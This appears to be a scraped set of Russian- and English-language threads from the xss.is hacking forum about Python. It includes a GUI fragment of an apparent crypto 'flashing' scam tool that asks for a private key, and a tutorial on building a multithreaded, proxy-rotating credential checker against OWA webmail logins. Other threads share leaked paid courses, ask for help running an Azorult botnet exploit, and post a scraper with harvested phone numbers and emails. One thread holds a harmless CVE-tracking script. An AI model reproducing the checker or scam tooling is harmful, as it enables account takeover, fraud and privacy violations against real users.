tx_hash_hex = web3.to_hex(tx_hash)
messagebox.showinfo("Success", f"Transaction canceled!\nHash: {tx_hash_hex}")
except Exception as e:
messagebox.showerror("Error", f"Failed to cancel transaction:\n{str(e)}")
# GUI
root = tk.Tk()
root.title("Flashing")
# Private Key
tk.Label(root, text="Private Key:").grid(row=0, column=0, padx=10, pady=5)
private_key_entry = tk.Entry(root, width=50, show="*")
private_key_entry.grid(row=0, column=1, padx=10, pady=5)
# Delivery Address
tk.Label(root, text="Delivery Address:").grid(row=1, column=0, padx=10, pady=5)
delivery_address_entry = tk.Entry(root, width=50)
delivery_address_entry.grid(row=1, column=1, padx=10, pady=5)
# Amount
tk.Label(root, text="Amount:").grid(row=2, column=0, padx=10, pady=5)
amount_entry = tk.Entry(root, width=50)
amount_entry.grid(row=2, column=1, padx=10, pady=5)
# Cryptocurrency Dropdown
tk.Label(root, text="Select Currency:").grid(row=3, column=0, padx=10, pady=5)
currency_combobox = ttk.Combobox(root, values=list(cryptocurrencies.keys()), state="readonly")
currency_combobox.grid(row=3, column=1, padx=10, pady=5)
currency_combobox.set("USDT") # Default selection
# Submit Button
submit_button = tk.Button(root, text="Send Transaction", command=send_transaction)
submit_button.grid(row=4, column=0, columnspan=2, pady=10)
# Cancel Button
cancel_button = tk.Button(root, text="Cancel Last Transaction", command=cancel_transaction)
cancel_button.grid(row=5, column=0, columnspan=2, pady=10)
root.mainloop()
Опять чекеры.. Или же как писать чекеры на запросах, с мультипоточностью, да и всем нужным!
Author: germans • 2024-05-12T18:35:04+0000 • Replies: 33 • Views: 5K
**Авторствo: germans
Издательствo: xss.is
К**ароче, чекеры, брутеры, и прочий хлам. Рынок не переполнен всем этим на
удивление, к примеру я не увидел еще ни одного слитого/написанного в дар
чекера owa-почт. Мы сегодня напишем с вами чекер на эти почты с
мультипоточностью, подключением прокси и всем остальным. Разберемся сначала -
'а чо это такое ваши чекеры'. Если ответить вкратце и по сути, то программка,
проверяющая входные данные на верность, самое банальное, что вы можете
привести человеку в пример - так это проверка по алгоритму Луны, ведь у
каждого человека есть банковская карточка и думаю, что человек сообразит
быстро в тех ситуациях, которых он был. К примеру промахнулся циферкой, а ему
уже кричат из-за всех щелей, что гавно. Уйдем от введения и перейдем к сути.
**П** исать мы будем на языке Python, с моего взгляда это самый комфортный
язык для чекеров после Go. Не нужно выдумывать велосипеды и писать чекеры на
плюсах, шарпах, ведь они никогда не были предназначены для таких целей.. У нас
двa пути, а именно сам принцип - как проверять то?? Первый, наилучший вариант
- это запросы, бесспорно, не нужно даже сравнивать это ни с чем другим, тут мы
получаем максимальную скорость какая только возможна, кроме подключения к БД
самого сервера, тут мы зависим только от качества наших проксей. Второй,
наихудший вариант - эмуляция, тут я имею в виду эмуляция
браузера/телефона/планшета и любого другого устройства, конечно нам не
придется заморачиваться с защитой на запросах, но вы только представьте какая
это маленькая скорость, сколько это ресурсов жрет??..- Представили, ресурсов
дохренища, скорость нихренища. Этот вариант нас не устраивает, если мы конечно
не мазохисты.
**П** ерейдем ближе к разбору нашей цели, как я говорил ранее - это owa-почты.
Для начала заходим кликаться с браузера, не забываем подключить инструменты
разработчика (Dev Tools) тыкайте F12 и будем вам счастье.

**П** ереходим в инструментах разработчика в раздел 'Сеть', пробуем
залогиниться, отлавливаем запросы. И ищем нужный запрос именно нам, а
конкретней где мы передаем почту и пароль.

**Н** аходим такой после успешного валида в нашу почту, теперь пора лезть в
'полезную нагрузку' aka Payload. Там мы увидим тело данных, которое
передается. Так же не забываем отметить факт, что запрос у нас с методом POST.

**У** видели какие данные передаются, все, чхать нам на это все, пора лезть в
нашу IDE. Так как мы будем писать полнофункциональный чекер с мультипотоком, и
всякими наворотами саму функцию чека вынесем отдельно. Я использую Visual
Studio, но честно, вообще без разницы на это, пишите где вам удобно, хоть в
блокноте.

Cам код функции, отвечающая за проверку. Маленькое разъяснение, что, кого,
куда, зачем, почему. Импортируем библиотеку requests, она позволяет нам
засылать запросы на сайт, ведь в начале мы решили, что будем действовать
именно так, никак по другому. Создаем нашу функцию, которая будет принимать
такие значение как url, username, password. Вешаем на это все блок try-except,
который позволяет нам отлавливать ошибки, но мы будем его использовать как
часть проверки. Session - это как профиль в любом антике грубо говоря,
настроив один раз мы больше не паримся, так же сохраняются все cookie в эту
самую сессию, что нам понадобится для проверки. После чего мы составляем нашу
полезную нагрузку или же пейлод, исходя из скриншота на прошлой странице. В
destination мы заменяем у ссылки '/auth/logon.aspx' на пустоту, ведь нам нужен
домен, тут мы могли использовать библиотеку urlparse для большей точности, но
пока остановимся на этом. Остальное кроме username и password заполняем как
было указано в дате. После чего наша сессия отправляет post запрос на эндпоинт
проверки, в ней так же заменяем конечную точку на нужную нам (указано раньше в
инструментах разработчика). После самое важное, как же именно проверять.. Тут
может быть множество дыр, можно проверять по тому на какую страницу нас
заредиректит, по элементам в ответе, и так далее, но самым надежным способом
будет проверять куки, которые нам возвращает. Тут мы уже никак не можем
промахнуться как с проверкой на элементы, ведь там нас может просто закидывать
на совершенной другой юрл, к примеру некоторые ова почты, редиректят на сайт
майкрософт где надо зайти. По окончательным редиректам тоже спорный вопрос,
может вылезти какая нибудь хрень, из-за которой постоянно будем получать
невалид по тысяче раз. После получаем наш словарик с куки по session, пытаемся
и извлечь кук 'cadata', который возвращается при валидном аккаунте. Если у нас
не получается его извлечь, то мы выбиваемся в ошибку и функция возвращает
False. Разобрали функцию самого чека, вернемся к нашей мультипоточности.

Мультипоточность вырисовываем из библиотеки concurrent.futures , импортируем
класс ThreadPoolExecutor из нее, она позволяет нам создавать пул потоков,
функции там будут выполняться асинхронно. Именно через него и работает наша
мультипоточность. Executor.map принимает у нас функцию и объект, который будет
обрабатываться, все это у нас лежит под 'tqdm', она позволит нам графически
отображать прогресс нашей проверки, self.total_lines служит для tqdm, то есть
сколько всего строк то, работает эта библиотека как на Linux, так и на
Windows. max_workers служит для обозначения кол-ва потоков, пока медленно
начинаем перетекать в основной функции main. Тут все довольно таки базово,
рассказывать нечего, просим указать файл пока не будет он валидным, после чего
такое же и с потоками. Читаем файл, и передаем его в класс Checker, который
уже запустит нам все это дело.

Пример работы выше, думаю на этом стоит завершать статью. Всем благ, скрипт
приложен в архиве файлом здесь.
Tracking New CVEs on GitHub Automatically.
Author: blackhunt • 2024-07-06T20:41:34+0000 • Replies: 26 • Views: 5K
Greetings to all those who are always eager to hunt for new security
vulnerabilities and ensure the best possible security. Here is **GhostCVE
Finder** , a tool designed to search and discover new CVEs via GitHub.
Leveraging the powerful GitHub API and robust Python libraries, this script
enables you to swiftly and automatically scout for newly reported
vulnerabilities and examine them.
**Features:**
* Automatic search for new CVEs via the GitHub API
* Detailed display of each CVE including name, description, and creation date
* Ability to clone related projects for further inspection
* Support for searching based on specific dates to find CVEs created during that time

Script code :
Python:Copy to clipboard
import subprocess
import sys
import os
import requests
import json
from datetime import datetime, timedelta
from rich.console import Console
from rich.table import Table
from rich.prompt import Prompt
from rich.panel import Panel
from rich.layout import Layout
from rich.live import Live
import threading
from tzlocal import get_localzone
# Function to check if a package is installed
def is_package_installed(package):
try:
subprocess.check_output([sys.executable, '-m', 'pip', 'show', package])
return True
except subprocess.CalledProcessError:
return False
# Function to install a package
def install_package(package):
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
# Install required packages if not installed
def setup():
packages = [
"requests",
"rich",
"tzlocal"
]
for package in packages:
if not is_package_installed(package):
print(f"Installing {package}...")
install_package(package)
else:
print(f"{package} is already installed.")
if os.name == 'nt':
subprocess.call('cls', shell=True)
else:
subprocess.call('clear', shell=True)
# Global variables
SETTINGS_FILE = 'settings.json'
LAST_SEARCH_FILE = 'last_search.json'
console = Console()
# Function to load settings from JSON file
def load_settings():
if os.path.exists(SETTINGS_FILE):
with open(SETTINGS_FILE, 'r') as file:
return json.load(file)
return {}
# Function to save settings to JSON file
def save_settings(settings):
with open(SETTINGS_FILE, 'w') as file:
json.dump(settings, file)
# Function to get GitHub token from user input or settings file
def get_github_token():
settings = load_settings()
if 'GITHUB_TOKEN' in settings:
return settings['GITHUB_TOKEN']
token = Prompt.ask("Enter your GitHub token")
settings['GITHUB_TOKEN'] = token
save_settings(settings)
return token
# Function to load last search time from JSON file
def load_last_search_time():
if os.path.exists(LAST_SEARCH_FILE):
with open(LAST_SEARCH_FILE, 'r') as file:
data = json.load(file)
return datetime.fromisoformat(data['last_search_time'])
return None
# Function to save last search time to JSON file
def save_last_search_time(time):
with open(LAST_SEARCH_FILE, 'w') as file:
json.dump({'last_search_time': time.isoformat()}, file)
# Function to handle existing last search file
def handle_existing_last_search_file():
if os.path.exists(LAST_SEARCH_FILE):
console.print("[bold yellow]Last search file already exists. This may prevent finding new CVEs.[/bold yellow]")
action = Prompt.ask("Do you want to delete or rename the last search file? (delete/rename/continue)", default="continue")
if action == "delete":
os.remove(LAST_SEARCH_FILE)
console.print("[bold green]Last search file deleted.[/bold green]")
elif action == "rename":
new_name = Prompt.ask("Enter new name for the last search file")
os.rename(LAST_SEARCH_FILE, new_name)
console.print(f"[bold green]Last search file renamed to {new_name}.[/bold green]")
else:
console.print("[bold yellow]Continuing with the existing last search file.[/bold yellow]")
# Function to clone repository using git
def clone_repository(repo_url, repo_name):
try:
subprocess.run(["git", "clone", repo_url, repo_name], check=True)
console.print(f"[bold green]Successfully cloned {repo_name}[/bold green]")
except subprocess.CalledProcessError:
console.print(f"[bold red]Failed to clone {repo_name}[/bold red]")
# Function to fetch repositories from GitHub API
def fetch_repositories(url, headers, repos):
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
results = response.json()
for repo in results['items']:
repos.append(repo)
else:
console.print(f"[bold red]Failed to fetch data from GitHub API. Status code: {response.status_code}[/bold red]")
except requests.exceptions.RequestException as e:
console.print(f"[bold red]An error occurred: {str(e)}[/bold red]")
# Function to search for new CVEs
def search_new_cves():
github_token = get_github_token()
timezone = str(get_localzone())
headers = {'Authorization': f'token {github_token}'}
last_search_time = load_last_search_time() or datetime.now() - timedelta(days=1)
query = f'CVE created:>{last_search_time.strftime("%Y-%m-%dT%H:%M:%SZ")}'
url = f'https://api.github.com/search/repositories?q={query}&per_page=10'
repos = []
threads = []
for page in range(1, 6): # Fetching up to 50 repositories (5 pages, 10 per page)
paginated_url = f'{url}&page={page}'
thread = threading.Thread(target=fetch_repositories, args=(paginated_url, headers, repos))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if repos:
table = Table(title="New CVEs Found", show_header=True, header_style="bold magenta")
table.add_column("No.", style="dim", width=5)
table.add_column("Name", style="cyan", no_wrap=True)
table.add_column("URL", style="magenta")
table.add_column("Description", style="green")
table.add_column("Created At", style="yellow", no_wrap=True)
for idx, repo in enumerate(repos, start=1):
table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])
console.print(table)
while True:
repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
if repo_index.lower() == 'exit':
break
try:
repo_index = int(repo_index) - 1
if 0 <= repo_index < len(repos):
repo = repos[repo_index]
clone_repository(repo['html_url'], repo['name'])
else:
console.print("[bold red]Invalid number. Please try again.[/bold red]")
except ValueError:
console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
else:
console.print("[bold red]No new CVEs found.[/bold red]")
save_last_search_time(datetime.now())
# Function to search for a specific CVE
def search_specific_cve(cve_id):
github_token = get_github_token()
headers = {'Authorization': f'token {github_token}'}
url = f'https://api.github.com/search/repositories?q={cve_id}'
repos = []
fetch_repositories(url, headers, repos)
if repos:
table = Table(title=f"Repositories for {cve_id}", show_header=True, header_style="bold magenta")
table.add_column("No.", style="dim", width=5)
table.add_column("Name", style="cyan", no_wrap=True)
table.add_column("URL", style="magenta")
table.add_column("Description", style="green")
table.add_column("Created At", style="yellow", no_wrap=True)
for idx, repo in enumerate(repos, start=1):
table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])
console.print(table)
while True:
repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
if repo_index.lower() == 'exit':
break
try:
repo_index = int(repo_index) - 1
if 0 <= repo_index < len(repos):
repo = repos[repo_index]
clone_repository(repo['html_url'], repo['name'])
else:
console.print("[bold red]Invalid number. Please try again.[/bold red]")
except ValueError:
console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
else:
console.print(f"[bold red]No repositories found for {cve_id}.[/bold red]")
# Function to search CVEs based on a specific date
def search_cves_by_date():
while True:
try:
search_date_str = Prompt.ask("Enter the search date (YYYY-MM-DD) or 'exit' to cancel", default="exit")
if search_date_str.lower() == 'exit':
return
search_date = datetime.strptime(search_date_str, "%Y-%m-%d")
break
except ValueError:
console.print("[bold red]Invalid date format. Please enter date in YYYY-MM-DD format.[/bold red]")
github_token = get_github_token()
timezone = str(get_localzone())
headers = {'Authorization': f'token {github_token}'}
query = f'CVE created:{search_date.strftime("%Y-%m-%d")}'
url = f'https://api.github.com/search/repositories?q={query}&per_page=10'
repos = []
fetch_repositories(url, headers, repos)
if repos:
table = Table(title=f"CVEs created on {search_date.strftime('%Y-%m-%d')}", show_header=True, header_style="bold magenta")
table.add_column("No.", style="dim", width=5)
table.add_column("Name", style="cyan", no_wrap=True)
table.add_column("URL", style="magenta")
table.add_column("Description", style="green")
table.add_column("Created At", style="yellow", no_wrap=True)
for idx, repo in enumerate(repos, start=1):
table.add_row(str(idx), repo['name'], repo['html_url'], repo['description'] or 'No description', repo['created_at'])
console.print(table)
while True:
repo_index = Prompt.ask("Enter the number of the repository to clone (or 'exit' to quit)", default="exit")
if repo_index.lower() == 'exit':
break
try:
repo_index = int(repo_index) - 1
if 0 <= repo_index < len(repos):
repo = repos[repo_index]
clone_repository(repo['html_url'], repo['name'])
else:
console.print("[bold red]Invalid number. Please try again.[/bold red]")
except ValueError:
console.print("[bold red]Invalid input. Please enter a number or 'exit'.[/bold red]")
else:
console.print(f"[bold red]No new CVEs found on {search_date.strftime('%Y-%m-%d')}.[/bold red]")
# Function to handle user input and actions
def main():
setup()
handle_existing_last_search_file()
while True:
menu = Panel.fit("""
[bold cyan]What would you like to do?[/bold cyan]
1. Search for a specific CVE
2. Search for new CVEs
3. Search for CVEs by specific date
4. Help
5. Exit
""", title="Menu", border_style="green")
console.print(menu)
try:
choice = Prompt.ask("Choose an option", choices=[str(i) for i in range(1, 6)], default="1")
if choice == "1":
search_specific_cve(Prompt.ask("Enter CVE ID to search for"))
elif choice == "2":
search_new_cves()
elif choice == "3":
search_cves_by_date()
elif choice == "4":
console.print("""
[bold cyan]Help - Available Commands[/bold cyan]
1. Search for a specific CVE by entering its ID.
2. Search for new CVEs created since the last search.
3. Search for CVEs created on a specific date.
4. Exit the program.
""")
elif choice == "5":
break
except ValueError:
console.print("[bold red]Invalid input. Please enter a number from 1 to 5.[/bold red]")
if __name__ == "__main__":
main()
**Creating a GitHub Token :
1.Sign in to GitHub**: Log in to your GitHub account at
[github.com](https://github.com).
**2.Access Personal Access Tokens** :
Click on your profile icon at the top right corner of the page.
From the dropdown menu, select **Settings**.

**3.Navigate to Developer Settings** :
In the left sidebar, click on **Developer settings**.


**4 .Generate New Token** :
In the developer settings page, click on **Personal access tokens**.
Then, click on **Generate new token**.


**5 .Configure Token** :
Enter a descriptive name for your token in the **Note** field.
Select the scopes or permissions needed for your token. For this script, you
might need at least repo and read:org scopes depending on the repositories
you're accessing.
Click on **Generate token** at the bottom of the page.

Password: xss.is
Enjoy !
Редактировать PE с помощью Python
Author: tanto403 • 2019-08-27T12:23:56+0000 • Replies: 11 • Views: 5K
Привет.
Задача: Изменить Иконку и Version Info с помощью Python.
Я уже в курсе, что в этом мне поможет <https://github.com/erocarrera/pefile>
Но проблема в том, что знания мои PE - довольно поверхностны, так что буду рад
любой информации.
Не только примерам использования pefile (которых я в сети не нашел).
А любую инфу которая может просветить меня в PE, если на русском - так вообще
здорово будет.
Заранее благодарен.!
Подскажите сайты в которых есть бесплатные сливы платных курсов (udemy и т.д.)
Author: Lasker • 2021-02-24T07:16:50+0000 • Replies: 28 • Views: 5K
В частности я хотел бы очень найти слив этого курса:

### [ Разработка Telegram ботов на Python
](https://www.udemy.com/course/aiogram-python/)
Научись разрабатывать ботов любой сложности для месседжера Telegram. В этом
подробном курсе построение ботов от А до Я.
 www.udemy.com
Я впервые вообще ищу сливы чего-то, был бы рад если бы вы подсказали.
Слив курсов по Python и взлому систем
Author: Cansello • 2020-11-11T09:55:32+0000 • Replies: 14 • Views: 5K
Эксклюзивный курс по информационной безопасности и Python, состоящий из 17
частей.
Скачать: <https://cloud.mail.ru/public/4tVK/4Tbw2b48Y/>
Ошибка Python Azorult
Author: sakito • 2019-11-26T17:51:33+0000 • Replies: 3 • Views: 5K
Почему я ошибаюсь? Я новичок в питоне
Это исходный код:
[ https://dl.packetstormsecurity.net/1908-exploits/azorultbotnet-sql.txt
](https://dl.packetstormsecurity.net/1908-exploits/azorultbotnet-sql.txt)
Почему я получаю ошибку, когда я даю
**sudo python azo.py url**
Я переименовал файл azo.py и вижу, что в нем 3 параметра, основная функция до
сих пор не выходит.
Можете ли вы дать мне пример?
парсер на Python
Author: Volstiny • 2020-02-25T16:41:24+0000 • Replies: 9 • Views: 5K
Всем привет. Недавно начал учить язык программирования python. Написал
простенький парсер телефонных номеров и электронных почт с сайта prom.ua.
Сейчас пишу парсер с olx.ua.
Вот номера телефонов и почт. Может кому-то будет нужно:
### [ phone.txt - AnonFiles ](https://anonfiles.com/P9D9Ucc2o1/phone_txt)

anonfiles.com
Вот код на python:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
l = 0
all_href = []
all_mail = []
all_phone = []
all_sections = []
base_url = 'https://prom.ua/ua/Kompyuternaya-tehnika-i-programmnoe-obespechenie'
base_r = requests.get(base_url)
base_soup = BeautifulSoup(base_r.content, 'html.parser')
sections_href = base_soup.find_all('div', attrs={'class':'x-category-tile__title-holder'})
for sec in sections_href:
section_href = sec.find('a', attrs={'class':'x-category-tile__title'})['href']
all_sections.append(section_href)
for link in all_sections:
print(link)
url = 'https://prom.ua' + link
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
div_href = soup.find_all('div', attrs={'class': 'x-gallery-tile__relative'})
for hr in div_href:
get_href = hr.find('a', attrs={'class': 'x-gallery-tile__image-holder x-image-holder'})['href']
all_href.append(get_href)
for al in all_href:
r1 = requests.get(al)
soup1 = BeautifulSoup(r1.content, 'html.parser')
get_mail = soup1.find('a', attrs={'class': 'x-pseudo-link x-iconed-text__link'})
all_mail.append(get_mail)
get_phone = soup1.find('span', attrs={'class':'x-pseudo-link x-iconed-text__link js-product-ad-conv-action'})
all_phone.append(get_phone)
l = l + 1
print(l)
print(all_phone)
print(all_mail)
Жду от вас советов как лучше писать, какие библиотеки лучше использовать для
парсинга.
**Всем хорошего дня☺**